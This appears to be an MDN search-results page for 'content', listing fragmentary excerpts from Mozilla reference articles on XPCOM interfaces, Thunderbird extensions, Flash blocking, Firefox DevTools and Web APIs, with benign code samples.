contentnodefor(in nsidomnode anode); astring getstringeventtype(in unsigned long aeventtype); astring getstringrelationtype(in unsigned long arelationtype); astring getstringrole(in unsigned long arole); nsidomdomstringlist getstringstates(in unsigned long astates, in unsigned long aextrastates); methods getaccessiblefor() return an nsiaccessible for a dom n...
...getrelevant
contentnodefor() return an dom node that is relevant to attached accesible check.
... this node is either from bindings chain if given node is anonymous and owner binding denies accessible in anonymous
content or given node (it's not important whether it is accessible or not).
...nsidomnode getrelevant
contentnodefor( in nsidomnode anode ); parameters anode the dom node to get relevant
content node.
nsIFeedTextConstruct
method overview nsidomdocumentfragment createdocumentfragment(in nsidomelement element); astring plaintext(); attributes attribute type description base nsiuri if the text construct contains html or xhtml, relative references in the
content should be resolved against this base uri.
... text astring the actual text
content.
... type astring the type of
content described; one of "text", "html", or "xhtml".
... return value the plain text version of the text construct's
contents.
nsIMIMEInputStream
it also allows automatic creation of the
content-length header.
...to create an instance, use: var mimeinputstream = components.classes["@mozilla.org/network/mime-input-stream;1"] .createinstance(components.interfaces.nsimimeinputstream); method overview void addheader(in string name, in string value); void setdata(in nsiinputstream stream); attributes attribute type description add
contentlength boolean when true a "
content-length" header is automatically added to the stream.
... the value of the
content-length is automatically calculated using the available() method on the data stream.
... example var postdata = components.classes["@mozilla.org/network/mime-input-stream;1"] .createinstance(components.interfaces.nsimimeinputstream); postdata.addheader("
content-type", "application/x-www-form-urlencoded"); postdata.add
contentlength = true; postdata.setdata(stringstream); ...
nsIMarkupDocumentViewer
docshell/base/nsimarkupdocumentviewer.idlscriptable describes the properties of a
content viewer for an html or xml markup document.
... inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview void scrolltonode(in nsidomnode node); void sizeto
content(); attributes attribute type description allowplugins boolean if true, plugins are allowed within the doc shell.
... sizeto
content() tell the container to shrink-to-fit or grow-to-fit its
contents.
... void sizeto
content(); parameters none.
Building an Account Manager Extension
this means the xul file for the new panel has to be located in chrome://example@mozilla.org/
content/am-devmo-account.xul.
...this means in our example, the javascript file should be located in chrome://example@mozilla.org/
content/am-devmo-account.js.
... <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="chrome://messenger/skin/accountmanage.css" type="text/css"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="parent.onpanelloaded('am-devmo-account.xul');"> <script type="application/javascript" src="chrome://messenger/
content/accountmanager.js"/> <script type="application/javascript" src="chrome://example@mozilla.org/
content/am-devmo-account.js"/> <dialogheader title="devmo example panel"/> <description> this panel is only shown in imap accounts...
... </description> <vbox flex = "1"/> </page> as with the xul page, the
content of the property file relies on a very strict naming.
nsINavHistoryQueryOptions
expandqueries boolean when set, allows items with "place:" uris to appear as containers, with the container's
contents filled in from the stored query.
...hidden things include the
content of iframes and all images on web pages.
...each tag node is a results_as_tag_
contents container defined as place:querytype=1&resulttype=7&folder=tag_folder_id.
... results_as_tag_
contents 7 returns nsinavhistoryresultnode nodes for each bookmark contained into the defined tag.
nsIPluginHost
methods native code only!createtempfiletopost to create temp file with
content len header in, it will use by http post.
... to create temp file with
content len header in, it will use by http post.
... void newpluginnativewindow( out nspluginnativewindowptr apluginnativewindow ); parameters apluginnativewindow native code only!parsepostbuffertofixheaders this method parses post buffer to find out case insensitive "
content-length" string and cr or lf some where after that, then it assumes there is http headers in the input buffer and continue to search for end of headers (crlfcrlf or lflf).
...if "
content-length" string and end of headers is found it substitutes single lf with crlf in the headers, so the end of headers always will be crlfcrlf (single cr in headers, if any, remain untouched) else it puts "
content-length: "+size_of_data+crlfcrlf at the beginning of the output buffer and memcpy data to the output buffer.
nsISelection
nsiselection
content/base/public/nsiselection.idlscriptable ???
...when the selection is collapsed(), and the
content is focused and editable, the caret will blink there.
...if
content is focused and editable, the caret will blink there.
...if
content is focused and editable, the caret will blink there.
nsISelectionPrivate
dom/base/nsiselectionprivate.idlscriptable internal support for
content selection handling.
... inherits from: nsisupports last changed in gecko 35 (firefox 35 / thunderbird 35 / seamonkey 2.32) warning: the
content of this article may be out of date.
...obsolete since gecko 12.0 long gettableselectiontype(in nsidomrange range); void removeselectionlistener(in nsiselectionlistener listenertoremove); void scrollintoview(in short aregion, in boolean aissynchronous, in short avpercent, in short ahpercent); void setancestorlimiter(in nsi
content a
content); native code only!
... native code only!setancestorlimiter void setancestorlimiter( in nsi
content a
content ); parameters a
content native code only!setpresshell internal utility method to set the pres shell on a newly created selection.
nsITextInputProcessor
however, if the event is consumed by web
content, it returns false.
... return value if this couldn't insert the string when there is no composition (e.g., compositionstart is consumed by the web
contents), it returns false.
... return value when there is no composition which was created by the instance and if compositionstart is consumed by web
contents, i.e., failed to start new composition, this returns false.
... return value when there is no composition which was created by the instance and if compositionstart is consumed by web
contents, i.e., failed to start new composition, this returns false.
nsIUploadChannel2
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void explicitsetuploadstream(in nsiinputstream astream, in acstring a
contenttype, in long long a
contentlength, in acstring amethod, in boolean astreamhasheaders); methods explicitsetuploadstream() sets a stream to be uploaded by this channel with the specified
content-type and
content-length header values.
... void explicitsetuploadstream( in nsiinputstream astream, in acstring a
contenttype, in long long a
contentlength, in acstring amethod, in boolean astreamhasheaders ); parameters astream the stream to be uploaded by this channel.
... a
contenttype this value will replace any existing
content-type header on the http request, regardless of whether or not its empty.
... a
contentlength a value of -1 indicates that the length of the stream should be determined by calling the stream's available method.
nsIXULSortService
content/xul/templates/public/nsixulsortservice.idlscriptable a service used to sort the
contents of a xul widget.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void insertcontainernode(in nsirdfcompositedatasource db, in nsrdfsortstate sortstateptr, in nsi
content root, in nsi
content trueparent, in nsi
content container, in nsi
content node, in boolean anotify); native code only!
...void insertcontainernode( in nsirdfcompositedatasource db, in nsrdfsortstate sortstateptr, in nsi
content root, in nsi
content trueparent, in nsi
content container, in nsi
content node, in boolean anotify ); parameters db sortstateptr root trueparent container node anotify sort() sort the
contents of the widget containing anode using asortkey as the comparison key, and asorthints as how to sort.
...asorthints one or more hints as to how to sort: ascending: sort the
contents in ascending order descending: sort the
contents in descending order comparecase: perform case sensitive comparisons integer: treat values as integers, non-integers are compared as strings twostate: do not allow the natural (unordered state) see also nsixultemplatequeryprocessor ...
XPCOM Interface Reference
memessagemanagernsichromeregistrynsiclassinfonsiclipboardnsiclipboardcommandsnsiclipboarddragdrophooklistnsiclipboarddragdrophooksnsiclipboardhelpernsiclipboardownernsicollectionnsicommandcontrollernsicommandlinensicommandlinehandlernsicommandlinerunnernsicomponentmanagernsicomponentregistrarnsicompositionstringsynthesizernsiconsolelistenernsiconsolemessagensiconsoleservicensicontainerboxobjectnsi
contentframemessagemanagernsi
contentprefnsi
contentprefcallback2nsi
contentprefobservernsi
contentprefservicensi
contentprefservice2nsi
contentsecuritypolicynsi
contentsniffernsi
contentviewnsi
contentviewmanagernsi
contentviewernsicontrollernsicontrollersnsiconverterinputstreamnsiconverteroutputstreamnsicookiensicookie2nsicookieacceptdialognsicookieconsentnsicookiemanagernsicookiemanager2nsicookiepermissionnsico...
...sigeolocationprovidernsigeolocationupdatensiglobalhistorynsiglobalhistory2nsiglobalhistory3nsihtmleditornsihttpheaderlistenernsihapticfeedbacknsihttpactivitydistributornsihttpactivityobservernsihttpchannelnsihttpchannelinternalnsihttpheadervisitornsihttpservernsihttpupgradelistenernsiidnservicensiiframeboxobjectnsiiniparsernsiiniparserfactorynsiiniparserwriternsiioservicensiidleservicensiinprocess
contentframemessagemanagernsiinputstreamnsiinputstreamcallbacknsiinstalllocationnsiinterfacerequestornsijscidnsijsidnsijsiidnsijsonnsijetpacknsijetpackservicensijumplistbuildernsijumplistitemnsilivemarkservicensiloadgroupnsilocalfilensilocalfilemacnsilocalensilocaleservicensilogininfonsiloginmanagernsiloginmanagercryptonsiloginmanageriemigrationhelpernsiloginmanagerprompternsiloginmanagerstoragensiloginm...
...hreadnsithreadeventfilternsithreadinternalnsithreadmanagernsithreadobservernsithreadpoolnsithreadpoollistenernsitimernsitimercallbacknsitoolkitnsitoolkitprofilensitoolkitprofileservicensitraceablechannelnsitransactionnsitransactionlistnsitransactionlistenernsitransactionmanagernsitransferablensitransportnsitransporteventsinknsitransportsecurityinfonsitreeboxobjectnsitreecolumnnsitreecolumnsnsitree
contentviewnsitreeselectionnsitreeviewnsiurinsiurifixupnsiurifixupinfonsiurlnsiurlformatternsiurlparsernsiutf8converterservicensiutf8stringenumeratornsiuuidgeneratornsiupdatensiupdatechecklistenernsiupdatecheckernsiupdateitemnsiupdatemanagernsiupdatepatchnsiupdatepromptnsiupdatetimermanagernsiuploadchannelnsiuploadchannel2nsiurllistmanagercallbacknsiusercertpickernsiuserinfonsivariantnsiversioncomparator...
...nsiweakreferencensiwebbrowsernsiwebbrowserchromensiwebbrowserchrome2nsiwebbrowserchrome3nsiwebbrowserchromefocusnsiwebbrowserfindnsiwebbrowserfindinframesnsiwebbrowserpersistnsiweb
contenthandlerregistrarnsiwebnavigationnsiwebnavigationinfonsiwebpagedescriptornsiwebprogressnsiwebprogresslistenernsiwebprogresslistener2nsiwebsocketchannelnsiwebsocketlistenernsiwebappssupportnsiwifiaccesspointnsiwifilistenernsiwifimonitornsiwinaccessnodensiwinapphelpernsiwintaskbarnsiwindowcreatornsiwindowmediatornsiwindowwatchernsiwindowsregkeynsiwindowsshellservicensiworkernsiworkerfactorynsiworkerglobalscopensiworkermessageeventnsiworkermessageportnsiworkerscopensiwritablepropertybagnsiwritablepropertybag2nsixformsmodelelementnsixformsnsinstanceelementnsixformsnsmodelelementnsixmlhttprequestnsixmlhttprequesteventt...
XUL Overlays
xul files and xul overlays overlays are xul files used to describe extra
content in the ui.
...though there is no formal restriction on what kind of xul
content is located in "base" xul files and what kind should be put in overlays, xul overlays generally define items that are not present in the basic versions of the ui, such as additional components.
...inserting the following processing instruction before the doctype declaration in a base file tells the layout engine to load the named overlay file: <?xul-overlay href="chrome://component/
content/componentoverlay.xul"?> where component is the name of the package being overlayed (e.g., chrome://navigator/
content/navigatoroverlay.xul).
...the mechanism is the same, however.) any dialog that wants to overlay these buttons just declares the overlay at the top: <?xul-overlay href="chrome://global/
content/dialogoverlay.xul"?> and includes an empty box with an id of okcancelbuttons in the ui.
Filelink Providers
note: the setup dialog window should resize itself automatically in order to fit the
content of the iframe without scrollbars.
...providers need only provide an extraargs function in the iframe
content which returns an object specifying the name, type, and value to save.
... the
content to the right of the menulist is an iframe, pointed at a url read from the providers managementurl attribute, which should point to an xhtml page.
... this function is called automatically once the dom
content is done loading, and is passed a single parameter - the provider instance whose data is being displayed.
customDBHeaders Preference
ws.customdbheaders", "x-superfluous x-other"); adding a column the reply-to column tutorial does a good job of explaining how to add a column with an overlay, so i'll just show you my overlay file: <?xml version="1.0" ?> <overlay id="colsuperfluousoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type='application/javascript' src='chrome://superfluous/
content/superfluous.js'/> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colsuperfluous" persist="hidden ordinal width" currentview="unthreaded" flex="1" label="superfluous" tooltiptext="click to sort by superfluous" /> </treecols> </tree> </overlay> you should insure that whatever id you use for...
... building the extension for this extension, i used a directory tree exactly like this: superfluous/ chrome.manifest install.rdf makefile chrome/
content/ superfluous.js superfluous_overlay.xul here's the makefile: deps:= chrome/ \ chrome.manifest \ chrome/
content/ \ chrome/
content/superfluous.js \ chrome/
content/superfluous_overlay.xul \ install.rdf superfluous.xpi: ${deps} zip $@ ${deps} chrome.manifest:
content superfluous chrome/
content/ ov...
...erlay chrome://messenger/
content/messenger.xul chrome://superfluous/
content/superfluous_overlay.xul install.rdf: <?xml version='1.0' encoding='utf-8'?> <rdf xmlns='http://www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:em='http://www.mozilla.org/2004/em-rdf#'> <description about='urn:mozilla:install-manifest'> <em:id>superfluous@yoursite.com</em:id> <em:version>0.1.1</em:version> <em:type>2</em:type> <!-- 2 is type 'extension' --> <em:targetapplication> <description> <!-- this next line identifies tbird as target --> <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</em:id> <em:minversion>2*</em:minversion> <em:maxversion>3.0.0.*</em:maxversion> </description> </em:targetapplication> <em:name>superfluous</...
...em:name> <em:description>test superfluous extension</em:description> <em:creator>garrett comeaux</em:creator> </description> </rdf> build process: [gcomeaux@kyle tbird-ext]$ cd superfluous/ [gcomeaux@kyle superfluous]$ make zip superfluous.xpi chrome/ chrome.manifest chrome/
content/ chrome/
content/superfluous.js chrome/
content/superfluous_overlay.xul install.rdf adding: chrome/ (stored 0%) adding: chrome.manifest (deflated 44%) adding: chrome/
content/ (stored 0%) adding: chrome/
content/superfluous.js (deflated 57%) adding: chrome/
content/superfluous_overlay.xul (deflated 44%) adding: install.rdf (deflated 50%) end result ultimately, you want to be able to compose a message like this: and see the superfluous column displayed in your inbox like this: thanks many ...
Blocking By Domain - Plugins
however, some legacy flash
content hasn't yet been ported to html and is valuable to users.
...any attempt to use a plugin (via the <object> or <embed> element) will behave as if the plugin was not installed, and use fallback
content as specified by the html standard.
... list
contents and updates the plugin block lists are freely-licensed lists maintained by mozilla in github.
... the initial
contents of the third-party plugin block list are based on disconnect's open source blocklist.
Flash Activation: Browser Comparison - Plugins
each of the major browsers has now implemented a feature where adobe flash
content does not run by default, but each of the browsers has implemented this feature and the user interface in slightly different ways.
... mozilla firefox google chrome microsoft edge setting name ask to activate html5 by default click-to-run 'application/x-shockwave-flash' in navigator.mimetypes by default when flash is inactive yes no no 'application/x-shockwave-flash' in navigator.mimetypes when user enables flash yes yes yes <object> with fallback
content triggers ui yes, with exceptions no yes small/hidden flash triggers additional ui yes no no enabling flash automatically reloads the page no yes yes other features related to flash domain blocking plugin power saver peripheral
content pause each of the browser vendors has a roadmap about the future of flash and changes to the u...
...the user can click on the flash object or the location bar icon to activate flash: users have the choice to allow flash just for the current session, or to remember their choice: google chrome in-page ui is displayed when the site attempts to use flash without fallback
content: a user can click the plugin element to show a prompt for allowing flash: if the site provides fallback
content for an object element, chrome will display that
content and will not prompt the user to enable flash.
...the user can click the flash object to show activation options: users have the choice to allow flash just for the current session, or to remember their choice: site authoring tips if a flash element is very small, hidden, or covered by other
content, users will probably not notice that flash is required and will become confused.
3D view - Firefox Developer Tools
this view makes it easy to visualize the nesting of your
content.
...off-screen elements become visible, so that you can see where your elements are located in relation to the visible
content.
...often, layout problems are caused by improper nesting of
content.
... if
content isn't displaying, you may be able to figure out why; since the 3d view lets you zoom out to see elements that are rendering outside the visible area of the page, you can find stray
content this way.
Accessibility Inspector - Firefox Developer Tools
the name depends on the element; for example, the name of most text elements is simply their text
content, whereas form elements' names are the
contents of their associated <label>.
...hovering over the "target" icon highlights the dom node in the page
content.
... description — any further description provided on the element, usually by the
content of a title attribute.
... print accessibility tree to json you can print the
contents of the accessibility tree to json by right-clicking on an entry in the accessibility tab and selecting print to json: when you do, you will get a new tab with the selected accessibility tree loaded into the json viewer: once opened, you can save or copy the data as necessary.
Debugger.Source - Firefox Developer Tools
for example, an html document can contain javascript in multiple <script> elements and event handler
content attributes.
...source belongs to a dom element in the following cases: source belongs to a <script> element if it is the element’s text
content (that is, it is written out as the body of the <script> element in the markup text), or is the source document referenced by its src attribute.
... source belongs to a dom element if it is an event handler
content attribute (that is, if it is written out in the markup text as an attribute value).
...rce doesnot belong to the dom element; the function’s definition must appear elsewhere.) (if the sources attached to a dom element change, the debugger.source instances representing superceded code still refer to the dom element; this accessor only reflects origins, not current relationships.) elementattributename if this source belongs to a dom element because it is an event handler
content attribute or an event handler idl attribute, this is the name of that attribute, a string.
about:debugging (before Firefox 68) - Firefox Developer Tools
before firefox 48 if you change files that are loaded on demand, like
content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the
content script is loaded or the popup is shown.
... firefox 48 onwards from firefox 48 onwards: as before: if you change files that are loaded on demand, like
content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the
content script is loaded or the popup is shown.
...this does what it says: reloading any persistent scripts, such as background scripts parsing the manifest.json file again, so changes to permissions,
content_scripts, browser_action or any other keys will take effect.
... each tab entry has a debug button next to it — when clicked, this will open up a toolbox specific to that tab, allowing you to debug that tab's
contents.
BlobBuilder - Web APIs
method overview void append(in arraybuffer data); void append(in blob data); void append(in string data, [optional] in string endings); blob getblob([optional] in domstring
contenttype); file getfile(in domstring name, [optional] in domstring
contenttype); methods append() appends the
contents of the specified javascript object to the blob being built.
... blob getblob( in domstring
contenttype optional ); parameters
contenttype optional the mime type of the data to be returned in the blob.
... file getfile( in domstring name, [optional] in domstring
contenttype ); parameters name the file name.
...
contenttype optional the mime type of the data to be returned in the file.
Basic animations - Web APIs
<canvas id="canvas" width="800" height="200"></canvas> mouse following animation <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport"
content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible"
content="ie=edge"> <title>document</title> <script> var cn; //= document.getelementbyid('cw'); var c; var u = 10; const m = { x: innerwidth / 2, y: innerheight / 2 }; window.onmousemo...
...ndex: -1; } body { margin: 0; padding: 0; background-color: rgba(0,0,0,0.05); } </style> </head> <body> <canvas id="cw"></canvas> </body> </html> output snake game <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport"
content="width=device-width,initial-scale=1"> <meta http-equiv="x-ua-compatible"
content="ie=edge"> <title>nokia 1100:snake..member berries</title> </head> <body> <div class="keypress hide"> <div class="up" onclick="emit(38)">↑</div> <div class="right" onclick="emit(39)">→</div> <div class="left" onclick="emit(37)">←</div> <div class="down" o...
...isplay: flex; transition: .5s } .banner:hover { opacity: 1 } div#selector>div { flex-basis: 30% } @keyframes diss { from { opacity: 1 } to { opacity: 0 } } .keypress>div { border: dashed 3px #fff; height: 48%; width: 48%; display: flex; align-
content: center; justify-
content: center; align-self: center; align-items: center; font-size: -webkit-xxx-large; font-weight: 900; color: #fff; transition: .5s; opacity: .1; border-radius: 7px } .keypress { position: fixed; width: 100vw; height: 100vh; top: 0; left: 0; display:...
... flex; flex-wrap: wrap; justify-
content: space-around; opacity: 1; user-select: none } .keypress>div:hover { opacity: 1 } .touch { background: #8bc34a } .off { background: #f44336 } .hide { opacity: 0 } </style> </html> javascript function tmz() { var e = new date(t), i = new date, n = math.abs(i.getminutes() - e.getminutes()), o = math.abs(i.getseconds() - e.getseconds()); return n + " : " + o } function coll(t, e) { return t.x < e.x + e.w && t.x + t.w > e.x && t.y < e.y + e.h && t.h + t.y > e.y } function snake() { this.w = 15, this.h = 15, this.dx = 1, this.dy = 1, this.xf = 1, this.yf = 1, this.sn = []; ...
Hit regions and accessibility - Web APIs
canvas
content is not exposed to accessibility tools like semantic html is.
... fallback
content the
content inside the <canvas> ...
... aria rules accessible rich internet applications (aria) defines ways to make web
content and web applications more accessible to people with disabilities.
...the hit region api allows you to define an area of your canvas and provides another possibility to expose interactive
content on a canvas to accessibility tools.
Using channel messaging - Web APIs
button'); var iframe = document.queryselector('iframe'); var channel = new messagechannel(); var port1 = channel.port1; // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for button clicks button.addeventlistener('click', onclick); // listen for messages on port1 port1.onmessage = onmessage; // transfer port2 to the iframe iframe.
contentwindow.postmessage('init', '*', [channel.port2]); } // post a message on port1 when the button is clicked function onclick(e) { e.preventdefault(); port1.postmessage(input.value); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; input.value = ''; } we start off by creating a new message channel by using the messagechannel() constructor.
... let's explore how the iframe.
contentwindow.postmessage line works in a bit more detail.
...lowing javascript: var list = document.queryselector('ul'); var port2; // listen for the initial port transfer message window.addeventlistener('message', initport); // setup the transferred port function initport(e) { port2 = e.ports[0]; port2.onmessage = onmessage; } // handle messages received on port2 function onmessage(e) { var listitem = document.createelement('li'); listitem.text
content = e.data; list.appendchild(listitem); port2.postmessage('message received by iframe: "' + e.data + '"'); } when the initial message is received from the main page via the window.postmessage method, we run the initport function.
... when a message is received from the main page we create a list item and insert it in the unordered list, setting the text
content of the list item equal to the event's data attribute (this contains the actual message).
Clipboard.write() - Web APIs
example this example function replaces the current
contents of the clipboard with a specified string.
...the key of the object passed to the clipboarditem constructor indicates the
content type, the value indicates the
content.
... the
content could be a text or even a blob (e.g.
... example of copying canvas
contents to the clipboard function copycanvas
contentstoclipboard(canvas, ondone, onerror) { canvas.toblob(function (blob) { let data = [new clipboarditem({ [blob.type]: blob })]; navigator.clipboard.write(data).then(function () { ondone(); }, function (err) { onerror(err); }) }); } note: you can only pass in one clipboard item at a time.
CustomElementRegistry.define() - Web APIs
var shadow = this.attachshadow({mode: 'open'}); // create spans var wrapper = document.createelement('span'); wrapper.setattribute('class','wrapper'); var icon = document.createelement('span'); icon.setattribute('class','icon'); icon.setattribute('tabindex', 0); var info = document.createelement('span'); info.setattribute('class','info'); // take attribute
content and put it inside the info span var text = this.getattribute('text'); info.text
content = text; // insert icon var imgurl; if(this.hasattribute('img')) { imgurl = this.getattribute('img'); } else { imgurl = 'img/default.png'; } var img = document.createelement('img'); img.src = imgurl; icon.appendchild(img); // create some css to apply to t...
...he shadow dom var style = document.createelement('style'); style.text
content = '.wrapper {' + 'position: relative;' + '}' + '.info {' + 'font-size: 0.8rem;' + 'width: 200px;' + 'display: inline-block;' + 'border: 1px solid black;' + 'padding: 10px;' + 'background: white;' + 'border-radius: 10px;' + 'opacity: 0;' + 'transition: 0.6s all;' + 'position: absolute;' + 'bottom: 20px;' + '...
... // create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // count words in element's parent element var wcparent = this.parentnode; function countwords(node){ var text = node.innertext || node.text
content return text.split(/\s+/g).length; } var count = 'words: ' + countwords(wcparent); // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create text node and add word count to it var text = document.createelement('span'); text.text
content = count; // append it to the shadow root shadow.appendchild(text); // update count when ...
...element
content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.text
content = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'customelements.define()' in that specification.
DirectoryEntrySync - Web APIs
removerecursively() deletes a directory and all of its
contents.
... if you delete a directory that contains a file that cannot be removed or if an error occurs while the deletion is in progress, some of the
contents might not be deleted.
... [todo: explain more ] no_modification_allowed_err one of the following is not writable: the directory, its parent directory, and some of the
content in the directory.
... security_err the application does not have permission to access the target directory, its parent, or some of its
contents.
DisplayMediaStreamConstraints.video - Web APIs
always the mouse is always visible in the video
content of the {domxref("mediastream"), unless the mouse has moved outside the area of the
content.
... browser the stream contains the
contents of a single browser tab selected by the user.
... monitor the stream's video track contains the entire
contents of one or more of the user's screens.
...these may include backing buffers for windows to allow capture of window
contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire
contents in their windows.
Using the W3C DOM Level 1 Core - Web APIs
a dom tree is a kind of tree whose nodes represent an html or xml document's
contents.
...this implies the ability to create any html or xml document from scratch, or to change any
contents of a given html or xml document.
...the following script would do the job: html
content <body> <input type="button" value="change this document." onclick="change()"> <h2>header</h2> <p>paragraph</p> </body> javascript
content function change() { // document.getelementsbytagname("h2") returns a nodelist of the <h2> // elements in the document, and the first is number 0: var header = document.getelementsbytagname("h2").item(0); // the firstchild of the header is...
...david baron <dbaron at dbaron dot org> copyright information: © 1998-2005 by individual mozilla.org contributors;
content available under a creative commons license ...
EffectTiming.fill - Web APIs
fill mode: none html
content the html is pretty simple.
...</div> css
content .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0px; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 160px; padding: 10px; position: relative; text-align: center; ali...
...that css looks like this: #box { width: 200px; height: 200px; left: 50px; top: 50px; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-
content: center; } all this does is specify the size, border, and color information, as well as indicate that the box should be centered both vertically and horizontally inside its container.
... javascript
content now let's check out the javascript.
Element: cut event - Web APIs
if the user attempts a cut action on uneditable
content, the cut event still fires but the event object contains no data.
... a handler for this event can modify the clipboard
contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
... it's possible to construct and dispatch a synthetic cut event, but this will not affect the system clipboard or the document's
contents.
... examples live example html <div class="source"
contenteditable="true">try cutting text from this box...</div> <div class="target"
contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.scrollLeft - Web APIs
the element.scrollleft property gets or sets the number of pixels that an element's
content is scrolled from its left edge.
... if the element's direction is rtl (right-to-left), then scrollleft is 0 when the scrollbar is at its rightmost position (at the start of the scrolled
content), and then increasingly negative as you scroll towards the end of the
content.
... if specified as a value greater than the maximum that the
content can be scrolled, scrollleft is set to the maximum.
... example html <div id="container"> <div id="
content">click the button to slide right!</div> </div> <button id="slide" type="button">slide right</button> css #container { width: 100px; height: 100px; border: 1px solid #ccc; overflow-x: scroll; } #
content { width: 250px; background-color: #ccc; } javascript const button = document.getelementbyid('slide'); button.onclick = function () { document.getelementbyid('container').scrollleft += 20; }; result specifications specification status comment css object model (cssom) view modulethe definition of 'scrollleft' in that specification.
Element.scrollTop - Web APIs
the element.scrolltop property gets or sets the number of pixels that an element's
content is scrolled vertically.
... an element's scrolltop value is a measurement of the distance from the element's top to its topmost visible
content.
... when an element's
content does not generate a vertical scrollbar, then its scrolltop value is 0.
...var intelemscrolltop = someelement.scrolltop; after running this code, intelemscrolltop is an integer corresponding to the number of pixels that the element's
content has been scrolled upwards.
Encrypted Media Extensions API - Web APIs
the encrypted media extensions api provides interfaces for controlling the playback of
content which is subject to a digital restrictions management scheme.
... interfaces mediakeymessageevent contains the
content and related data when the
content decryption module (cdm) generates a message for the session.
... mediakeysession represents a context for message exchange with a
content decryption module (cdm).
... mediakeysystemaccess provides access to a key system for decryption and/or a
content protection provider.
HTMLInputElement - Web APIs
formenctype string: returns / sets the element's formenctype attribute, containing the type of
content that is used to submit the form to the server.
... inputmode provides a hint to browsers as to the type of virtual keyboard configuration to use when editing this element or its
contents.
... select() selects all the text in the input element, and focuses it so the user can subsequently replace all of its
content.
...note that this is actually fired on the htmlelement interface and also applies to
contenteditable elements, but we've listed it here because it is most commonly used with form input elements.
msStereo3DPackingMode - Web APIs
msstereo3dpackingmode is a read/write property which gets or sets the frame-packing mode for stereo 3-d video
content.
... syntax htmlvideoelement.msstereo3dpackingmode(topbottom, sidebyside, none); value the following values return, or set, the stereo 3-d
content packing as "topbottom", "sidebyside", or "none" for regular 2-d video.
... topbottom (1): specifies stereo 3-d
content packing and that the views are packed side-by-side in a single frame.
... sidebyside (2): specifies sidebyside stereo 3-d
content packing and that the views are packed top-to-bottom in a single frame.
InputEvent.dataTransfer - Web APIs
the datatransfer read-only property of the inputevent interface returns a datatransfer object containing information about richtext or plaintext data being added to or removed from editible
content.
... examples in the following simple example we've set up an event listener on the input event so that when any
content is pasted into the
contenteditable <p> element, its html source is retrieved via the inputevent.datatransfer.getdata() method and reported in the paragraph below the input.
... try copying and pasting some of the
content provided to see the effects.
... <p><span style="font-weight: bold; color: blue">whoa, bold blue text!</span></p> <p><span style="font-style: italic; color: red">exciting: italic red text!</span></p> <p>boring normal text ;-(</p> <hr> <p
contenteditable="true">go on, try pasting some
content into this editable paragraph and see what happens!</p> <p class="result"></p> var editable = document.queryselector('p[
contenteditable]'); var result = document.queryselector('.result') var datatransferobj; editable.addeventlistener('input', (e) => { result.text
content = e.datatransfer.getdata('text/html'); }); specifications specification status comment input events level 2the definition of 'datatransfer' in that specification.
InputEvent.inputType - Web APIs
the inputtype read-only property of the inputevent interface returns the type of change made to editible
content.
...there are many possible values, such as inserttext, delete
contentbackward, insertfrompaste, and formatbold.
... html <p id="log">input type: </p> <div
contenteditable="true" style="margin: 20px;padding: 20px;border:2px dashed red;"> <p>some sample text.
... try inserting line breaks, or deleting text in different ways, or pasting different
content in.</p> <hr> <ul> <li>a sample</li> <li>bulleted</li> <li>list.</li> </ul> <p>another paragraph.</p> </div> javascript const log = document.getelementbyid('log'); const editable = document.queryselector('div[
contenteditable]'); editable.addeventlistener('input', loginputtype); function loginputtype(event) { log.text
content = `input type: ${event.inputtype}`; } result try editing the text inside the <div> and see what happens.
MediaDevices.getDisplayMedia() - Web APIs
the mediadevices interface's getdisplaymedia() method prompts the user to select and grant permission to capture the
contents of a display or portion thereof (such as a window) as a mediastream.
... return value a promise that resolves to a mediastream containing a video track whose
contents come from a user-selected screen area, as well as an optional audio track.
... browsers are encouraged to provide a warning to users about sharing displays or windows that contain browsers, and to keep a close eye on what other
content might be getting captured and shown to other users.
... async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; } this uses await to asynchronously wait for getdisplaymedia() to resolve with a mediastream which contains the display
contents as requested by the specified options.
Recording a media element - Web APIs
html
content <p>click the "start" button to begin video recording for a few seconds.
